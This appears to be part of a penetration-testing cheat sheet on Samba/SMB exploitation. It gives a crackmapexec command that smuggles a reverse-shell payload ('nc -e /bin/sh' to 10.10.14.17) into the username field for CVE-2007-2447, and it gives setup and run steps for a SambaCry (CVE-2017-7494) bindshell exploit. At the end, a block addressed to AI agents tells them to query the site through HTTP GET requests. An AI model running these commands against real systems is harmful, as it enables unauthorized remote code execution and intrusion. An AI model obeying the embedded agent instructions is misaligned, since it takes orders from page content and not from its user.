* [Knock and Pass: Kerberos Exploitation](https://wizard32.net/blog/knock-and-pass-kerberos-exploitation.html)
* Samba 3.0.20 < 3.0.25rc3 - 'Username' map script (CVE 2007-2447)

```bash
crackmapexec smb --shares <IP> -u './=`nohup nc -e /bin/sh 10.10.14.17 4545`' -p ''
```

* SambaCry | CVE-2017-7494 | 3.5.0 and 3.6.0

```bash
## ------------------| Setup
git clone https://github.com/opsxcq/exploit-CVE-2017-7494 && exploit-CVE-2017-7494
sudo pip install virtualenv
virtualenv -p python2 venv
source venv/bin/activate
pip2 install impacket

## ------------------| Expolit
python ./exploit.py -t $IP -e libbindshell-samba.so  -s SusieShare -r /SusieShare/libbindshell-samba.so -u admin -p '' -P 6699   
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.h4rithd.com/windows/active-directory-smb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
